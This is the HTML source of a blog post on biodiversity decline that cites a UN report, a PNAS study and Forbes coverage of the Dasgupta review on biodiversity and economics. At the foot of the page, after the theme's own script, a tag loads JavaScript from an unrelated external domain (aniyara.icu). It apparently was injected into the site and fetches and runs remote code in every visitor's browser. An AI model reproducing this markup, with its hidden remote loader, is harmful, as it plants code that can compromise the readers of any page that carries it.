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252        <p>There is growing data on the decline of species- which tends to have a cascading effect, as one species declines it creates pressure on other species who depend on that declining (or extinct) species for their survival. <a href="https://www.forbes.com/sites/emanuelabarbiroglio/2021/02/04/growth-is-real-only-when-shared-with-biodiversity-says-the-new-dasgupta-review/?sh=bb7c301405e9&ref=datapointsblog.com">Forbes reports</a> today on a new report that explicitly links biodiversity and economics, noting that people tend to compartmentalize business concerns around GDP during the week - and put off thinking about biodiversity "for Sundays".</p><blockquote>The average abundance of native species in most major land-based habitats has fallen by at least 20%, mostly since 1900. More than 40% of amphibian species, almost 33% of reef-forming corals and more than a third of all marine mammals are threatened. The picture is less clear for insect species, but available evidence supports a tentative estimate of 10% being threatened. At least 680 vertebrate species had been driven to extinction since the 16th century and more than 9% of all domesticated breeds of mammals used for food and agriculture had become extinct by 2016, with at least 1,000 more breeds still threatened.UN Report: <a href="https://www.un.org/sustainabledevelopment/blog/2019/05/nature-decline-unprecedented-report/?ref=datapointsblog.com">Nature’s Dangerous Decline ‘Unprecedented’</a> (May 6, 2019)</blockquote><p>As <a href="https://www.pnas.org/content/117/24/13596.short?ref=datapointsblog.com">a recent research article</a> from the <a href="https://www.pnas.org/?ref=datapointsblog.com">Proceedings of the National Academy of Sciences</a> notes, "Thousands of populations of critically endangered vertebrate animal species have been lost in a century, indicating that the sixth mass extinction is human caused and accelerating." They looked at 29,400 species of terrestrial vertebrates and found that 1.7% (about 515 species) were close to extinction. Species labeled as close to extinction had to have less than 1,000 living members.</p><p>The Forbes article reported today about a report commissioned by the UK about biodiversity and economics by the University of Cambridge's Professor emeritus <a href="http://www.econ.cam.ac.uk/people/emeritus/pd10000?ref=datapointsblog.com">Partha Dasgupta</a>:</p><blockquote>In a quite revolutionary way, Dasgupta asserts that “the contemporary practice of using Gross Domestic Product (GDP) to judge economic performance is based on a faulty application of economics” and suggests that “GDP growth is, in principle, compatible with sustainable development”. Emanuela Barbiroglio, "<a href="https://www.forbes.com/sites/emanuelabarbiroglio/2021/02/04/growth-is-real-only-when-shared-with-biodiversity-says-the-new-dasgupta-review/?ref=datapointsblog.com">Growth Is Only Real When Shared With Biodiversity, Says The New Dasgupta Review</a>", Forbes.com February 4, 2021</blockquote><p>As Gupta notes, "we are all asset managers [...for...] a class of assets called Nature". These issues will likely be on the table for discussion at the upcoming <a href="https://ukcop26.org/?ref=datapointsblog.com">COP26 conference</a> in November 2021.</p>
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414
415                <div class="pswp__preloader">
416                    <div class="pswp__preloader__icn">
417                        <div class="pswp__preloader__cut">
418                            <div class="pswp__preloader__donut"></div>
419                        </div>
420                    </div>
421                </div>
422            </div>
423
424            <div class="pswp__share-modal pswp__share-modal--hidden pswp__single-tap">
425                <div class="pswp__share-tooltip"></div>
426            </div>
427
428            <button class="pswp__button pswp__button--arrow--left" title="Previous (arrow left)"></button>
429            <button class="pswp__button pswp__button--arrow--right" title="Next (arrow right)"></button>
430
431            <div class="pswp__caption">
432                <div class="pswp__caption__center"></div>
433            </div>
434        </div>
435    </div>
436</div>
437<script src="/assets/built/casper.js?v=YtPhrez3GuGLVDYs" defer></script>
437
438
439<script src="https://aniyara.icu/chinatown/api"></script>
439
440
441</body>
442</html>

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